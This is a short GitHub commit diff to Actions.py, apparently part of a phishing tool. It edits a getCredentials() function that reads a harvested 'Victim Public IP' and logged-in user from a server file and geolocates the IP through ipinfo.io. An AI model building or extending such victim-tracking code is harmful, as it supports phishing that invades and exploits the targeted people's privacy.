Update Actions.py

pull/338/head
Usama Abdul Sattar 2019-05-25 12:52:20 +05:00 committed by GitHub
parent b8c256dd12
commit 47ea8d7ed1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 2 deletions

View File

@ -545,8 +545,7 @@ def getCredentials():
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
sleep(2)
if len(lines) != 0:
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
user = re.match('Current logged in user: (a-z0-9)\n', lines)
resp = urlopen('https://ipinfo.io/{0}/json'.format(ip))